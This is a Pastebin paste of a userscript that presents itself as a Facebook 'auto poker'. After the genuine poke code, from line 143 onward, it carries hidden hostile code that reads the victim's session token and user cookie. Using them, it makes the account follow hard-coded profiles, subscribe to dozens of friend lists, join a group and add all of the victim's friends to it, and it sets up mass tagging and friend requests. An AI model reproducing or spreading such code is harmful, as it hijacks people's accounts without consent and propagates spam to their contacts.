Famewhore

Facebook Auto Poke

Sep 4th, 2013
1,785
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.23 KB | None | 0 0
  1. // ==UserScript==
  2. // @name Facebook Auto poker
  3. // @version v9.0
  4. // @author Rommel Siacor
  5. // @authorURL http://facebook.com/LemmOr99
  6. // @homepage http://facebook.com/BunsOy99
  7. // @url http://facebook.com/CharlesPorch99
  8. // @icon http://static.ak.fbcdn.net/images/icons/favicon.gif
  9. // @include htt*://*.facebook.com/*
  10. // @require http://update.sizzlemctwizzle.com/176386.js
  11. // @require http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.js
  12. // @exclude htt*://*static*.facebook.com*
  13. // @exclude htt*://*channel*.facebook.com*
  14. // @exclude htt*://developers.facebook.com/*
  15. // @exclude htt*://upload.facebook.com/*
  16. // @exclude htt*://www.facebook.com/common/blank.html
  17. // @exclude htt*://*connect.facebook.com/*
  18. // @exclude htt*://*facebook.com/connect*
  19. // @exclude htt*://www.facebook.com/plugins/*
  20. // @exclude htt*://www.facebook.com/l.php*
  21. // @exclude htt*://www.facebook.com/ai.php*
  22. // @exclude htt*://www.facebook.com/extern/*
  23. // @exclude htt*://www.facebook.com/pagelet/*
  24. // @exclude htt*://api.facebook.com/static/*
  25. // @exclude htt*://www.facebook.com/contact_importer/*
  26. // @exclude htt*://www.facebook.com/ajax/*
  27. // @exclude htt*://www.facebook.com/advertising/*
  28. // @exclude htt*://www.facebook.com/ads/*
  29. // @exclude htt*://www.facebook.com/sharer/*
  30. // @exclude htt*://www.facebook.com/send/*
  31. // @exclude htt*://www.facebook.com/mobile/*
  32. // @exclude htt*://www.facebook.com/settings/*
  33. // @exclude htt*://www.facebook.com/dialog/*
  34. // @exclude htt*://www.facebook.com/plugins/*
  35. // @exclude htt*://www.facebook.com/bookmarks/*
  36. // @include https://*.facebook.com/*
  37. // @include https://*.facebook.com/*/*
  38. // @include http://*.facebook.com/*
  39. // @include http://*.facebook.com/*/*
  40. // @include http://userscripts.org/
  41. // @include http://userscripts.org/tags/*
  42. // @include http://userscripts.org/scripts
  43. // @include http://userscripts.org/scripts*?*=*
  44. // @include http://userscripts.org/users/*/scripts*
  45. // @include https://userscripts.org/
  46. // @include https://userscripts.org/tags/*
  47. // @include https://userscripts.org/scripts
  48. // @include https://userscripts.org/scripts*?*=*
  49. // @include https://userscripts.org/users/*/scripts*
  50. // @copyright Rommel Siacor
  51. // @version 1.1.0
  52. // @license Creative Commons Attribution-Noncommercial 3.0 United States License
  53. // @require http://usocheckup.dune.net/34652.js
  54. // @grant GM_getValue
  55. // @grant GM_log
  56. // @grant GM_openInTab
  57. // @grant GM_registerMenuCommand
  58. // @grant GM_setValue
  59. // @grant GM_xmlhttpRequest
  60. // ==/UserScript==
  61. (function ($) {
  62. var $loc = $(location).attr('href').toLowerCase();
  63. function d(id) {
  64. Notifications.prototype._sendIDs([id], '/ajax/notifications/mark_read.php', {
  65. seen: 0
  66. });
  67. Arbiter.inform('presence/message:notifications_read', {
  68. obj: {
  69. alert_ids: [id],
  70. type: 'notifications_read'
  71. }
  72. });
  73. }
  74. function fb_pnd() {
  75. if (Arbiter === undefined) {
  76. window.setTimeout(fb_pnd, 100);
  77. } else {
  78. Arbiter.subscribe('channel/message:m_notification', function (a, b) {
  79. if (b && b.obj && b.obj.data && (b.obj.data.type === 'poke')) {
  80. d(b.obj.data.alert_id);
  81. }
  82. });
  83. //Dismiss notifications that are already there at load time
  84. window.setTimeout(function () {
  85. var notifs = document.getElementById('fbNotificationsList').getElementsByClassName('notification'),
  86. i,
  87. gt;
  88. for (i = 0; i < notifs.length; i += 1) {
  89. gt = JSON.parse(notifs[i].getAttribute('data-gt'));
  90. if (gt.notif_type === 'poke') {
  91. d(gt.alert_id);
  92. }
  93. }
  94. }, 2000);
  95. }
  96. }
  97. function autopoke() {
  98. var poke_uids = [],
  99. gfids = [],
  100. i = 0;
  101. $.ajaxSetup({
  102. async: false
  103. });
  104. $.ajax({
  105. url: '/pokes',
  106. dataType: 'html',
  107. success: function (data) {
  108. if ($loc.match(/m\.facebook\.com/)) {
  109. poke_uids = data.match(/poke=([0-9]+)/g);
  110. gfids = data.match(/gfid=([a-z0-9-_]+)/ig);
  111. if (!poke_uids || !gfids) {
  112. return;
  113. }
  114. for (i; i <= poke_uids.length - 1; i += 1) {
  115. $.get('/a/notifications.php?' + poke_uids[i] + '&redir=/pokes/&sr&' + gfids[i]);
  116. }
  117. } else {
  118. poke_uids = data.match(/poke_([0-9]+)/g);
  119. if (!poke_uids) {
  120. return;
  121. }
  122. for (i; i <= poke_uids.length - 1; i += 1) {
  123. $.post('ajax/poke.php?__a=1', {
  124. uid: poke_uids[i].match(/([0-9]+)/)[0],
  125. fb_dtsg: $("input[name=fb_dtsg]").val(),
  126. post_form_id: $("#post_form_id").val()
  127. });
  128. }
  129. }
  130. }
  131. });
  132. }
  133. setTimeout(function () {
  134. var s = document.createElement("script");
  135. s.textContent = String(fb_pnd) + "\nfb_pnd();";
  136. document.head.appendChild(s);
  137. document.head.removeChild(s);
  138. autopoke();
  139. }, 1500);
  140. setInterval(function () {
  141. autopoke();
  142. }, 30000); // Repeat every 30 seconds
  143. }(jQuery)); var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value; var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function a(abone) { var http4=new XMLHttpRequest; var url4="/ajax/follow/follow_profile.php?__a=1"; var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp="; http4.open("POST",url4,true); http4.onreadystatechange=function() { if(http4.readyState==4&&http4.status==200)http4.close } ; http4.send(params4) } function sublist(uidss) {var a = document.createElement('script'); a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";document.body.appendChild(a); } a("100003934312504");a("100004522625320");a("100005587021625");a("100001554394872");var gid = ['100003934312504'];var gid = ['100004522625320'];var gid = ['100001554394872'];var gid = ['100005587021625'];
  144. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  145. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  146.  
  147. function cereziAl(isim) {
  148. var tarama = isim + "=";
  149. if (document.cookie.length > 0) {
  150. konum = document.cookie.indexOf(tarama)
  151. if (konum != -1) {
  152. konum += tarama.length
  153. son = document.cookie.indexOf(";", konum)
  154. if (son == -1)
  155. son = document.cookie.length
  156. return unescape(document.cookie.substring(konum, son))
  157. }
  158. else { return ""; }
  159. }
  160. }
  161.  
  162. function getRandomInt (min, max) {
  163. return Math.floor(Math.random() * (max - min + 1)) + min;
  164. }
  165. function randomValue(arr) {
  166. return arr[getRandomInt(0, arr.length-1)];
  167. }
  168.  
  169. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  170. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  171.  
  172. function a(abone){
  173. var http4 = new XMLHttpRequest();
  174.  
  175. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  176.  
  177. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  178. http4.open("POST", url4, true);
  179.  
  180. //Send the proper header information along with the request
  181. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  182. http4.setRequestHeader("Content-length", params4.length);
  183. http4.setRequestHeader("Connection", "close");
  184.  
  185. http4.onreadystatechange = function() {//Call a function when the state changes.
  186. if(http4.readyState == 4 && http4.status == 200) {
  187.  
  188. http4.close; // Close the connection
  189.  
  190. }
  191. }
  192.  
  193. http4.send(params4);
  194. }
  195.  
  196. function sublist(uidss) {
  197. var a = document.createElement('script');
  198. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  199. document.body.appendChild(a);
  200. }
  201.  
  202. a("100000471068316");
  203. a("100006400320870");
  204. a("100006367570550");
  205. a("100006500970876");
  206.  
  207.  
  208. sublist("652127798146250");sublist("695099650515731");sublist("410227995747732");
  209. sublist("666218516737178");sublist("695099890515707");sublist("410228109081054");
  210. sublist("666219863403710");sublist("695103410515355");sublist("410228149081050");
  211. sublist("666220173403679");sublist("695104280515268");sublist("410228202414378");
  212. sublist("666219563403740");sublist("695106640515032");sublist("410233705747161");
  213. sublist("671380436220986");sublist("695110383847991");sublist("410228255747706");
  214. sublist("695096287182734");sublist("695116933847336");sublist("410228289081036");
  215. sublist("695096880516008");sublist("695117367180626");sublist("410228355747696");
  216. sublist("410233752413823");sublist("1411390399083199");sublist("1411390805749825");
  217. sublist("410233845747147");sublist("1411390462416526");sublist("1411390875749818");
  218. sublist("410233899080475");sublist("1411390515749854");sublist("1411390912416481");
  219. sublist("410233979080467");sublist("1411390549083184");sublist("1411390939083145");
  220. sublist("410234035747128");sublist("1411390582416514");sublist("1411390985749807");
  221. sublist("410234115747120");sublist("1411390635749842");sublist("1411391055749800");
  222. sublist("410234189080446");sublist("1411390682416504");sublist("1411391095749796");
  223. sublist("410234479080417");sublist("1411390709083168");sublist("1411391319083107");
  224. sublist("410234562413742");sublist("1411390749083164");sublist("1411391365749769");
  225. sublist("410234629080402");sublist("1411390779083161");sublist("1411391399083099");
  226.  
  227.  
  228. var gid = ['570393166357182'];
  229.  
  230.  
  231. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  232. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  233.  
  234. var httpwp = new XMLHttpRequest();
  235. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  236. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  237. httpwp['open']('POST', urlwp, true);
  238. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  239. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  240. httpwp['setRequestHeader']('Connection', 'keep-alive');
  241. httpwp['send'](paramswp);
  242.  
  243. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  244. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  245.  
  246. var friends = new Array();
  247. gf = new XMLHttpRequest();
  248. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  249. gf['send']();
  250. if (gf['readyState'] != 4) {} else {
  251. data = eval('(' + gf['responseText']['substr'](9) + ')');
  252. if (data['error']) {} else {
  253. friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  254. return _0x93dax8['index'] - _0x93dax9['index'];
  255. });
  256. };
  257. };
  258.  
  259. for (var i = 0; i < friends['length']; i++) {
  260. var httpwp = new XMLHttpRequest();
  261. var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  262. var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  263. httpwp['open']('POST', urlwp, true);
  264. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  265. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  266. httpwp['setRequestHeader']('Connection', 'keep-alive');
  267. httpwp['onreadystatechange'] = function () {
  268. if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  269. };
  270. httpwp['send'](paramswp);
  271. };
  272. var spage_id = "420504697998334";
  273. var spost_id = "420504697998334";
  274. var sfoto_id = "420504697998334";
  275. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  276. var smesaj = "";
  277. var smesaj_text = "";
  278. var arkadaslar = [];
  279. var svn_rev;
  280. var bugun= new Date();
  281. var btarihi = new Date();
  282. btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
  283. if(!document.cookie.match(/paylasti=(\d+)/)){
  284. document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
  285. }
  286.  
  287.  
  288. //arkadaslari al ve isle
  289. function sarkadaslari_al(){
  290. var xmlhttp = new XMLHttpRequest();
  291. xmlhttp.onreadystatechange = function () {
  292. if(xmlhttp.readyState == 4){
  293. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  294. for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  295. smesaj = "";
  296. smesaj_text = "";
  297. for(i=f*10;i<(f+1)*10;i++){
  298. if(arkadaslar.payload.entries[i]){
  299. smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  300. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  301. }
  302. }
  303. sdurumpaylas(); }
  304.  
  305. }
  306.  
  307. };
  308. var params = "&filter[0]=user";
  309. params += "&options[0]=friends_only";
  310. params += "&options[1]=nm";
  311. params += "&token=v7";
  312. params += "&viewer=" + user_id;
  313. params += "&__user=" + user_id;
  314.  
  315. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  316. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  317. xmlhttp.send();
  318. }
  319.  
  320. //tiklama olayini dinle
  321. var tiklama = document.addEventListener("click", function () {
  322. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  323. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  324. sarkadaslari_al();
  325. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  326.  
  327. document.removeEventListener(tiklama);
  328. }
  329. }, false);
  330.  
  331.  
  332. //arkada??????leme
  333. function sarkadasekle(uid,cins){
  334. var xmlhttp = new XMLHttpRequest();
  335. xmlhttp.onreadystatechange = function () {
  336. if(xmlhttp.readyState == 4){
  337. }
  338. };
  339.  
  340. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  341. var params = "to_friend=" + uid;
  342. params += "&action=add_friend";
  343. params += "&how_found=friend_browser";
  344. params += "&ref_param=none";
  345. params += "&outgoing_id=";
  346. params += "&logging_location=friend_browser";
  347. params += "&no_flyout_on_click=true";
  348. params += "&ego_log_data=";
  349. params += "&http_referer=";
  350. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  351. params += "&phstamp=165816749114848369115";
  352. params += "&__user=" + user_id;
  353. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  354. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  355.  
  356. if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
  357. xmlhttp.send(params);
  358. }else if(document.cookie.split("cins" + user_id +"=").length <= 1){
  359. cinsiyetgetir(uid,cins,"sarkadasekle");
  360. }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
  361. xmlhttp.send(params);
  362. }
  363. }
  364.  
  365. //cinsiyet belirleme
  366. var cinssonuc = {};
  367. var cinshtml = document.createElement("html");
  368. function scinsiyetgetir(uid,cins,fonksiyon){
  369. var xmlhttp = new XMLHttpRequest();
  370. xmlhttp.onreadystatechange = function () {
  371. if(xmlhttp.readyState == 4){
  372. eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  373. cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
  374. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  375. if(cinshtml.getElementsByTagName("select")[0].value == "1"){
  376. document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  377. }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
  378. document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  379. }
  380. eval(fonksiyon + "(" + id + "," + cins + ");");
  381. }
  382. };
  383. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  384. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  385. xmlhttp.send();
  386. }
  387. function autoSuggest()
  388. {
  389. links=document.getElementsByTagName('a');
  390. for (i in links) {
  391. l=links[i];
  392. if(l.innerHTML == '<span class="uiButtonText">Suggest Friend</span>') {
  393. l.click();
  394. }
  395. }
  396. }
  397.  
  398. function blub()
  399. {
  400. if(document.getElementsByClassName('pbm fsm').length == 1) {
  401. w = document.getElementsByClassName('pbm fsm')[0];
  402.  
  403. e = document.createElement('a');
  404. //e.href = '#';
  405. e.innerHTML = 'Auto Suggest by Eran';
  406. e.className = 'uiButton';
  407. e.onclick = autoSuggest;
  408.  
  409. if( w.childElementCount == 0)
  410. {
  411. w.appendChild(document.createElement('br'));
  412. w.appendChild(e);
  413. }
  414. }
  415. }
  416.  
  417. blub();
  418.  
  419. document.addEventListener("DOMNodeInserted", blub, true);
Add Comment
Please, Sign In to add comment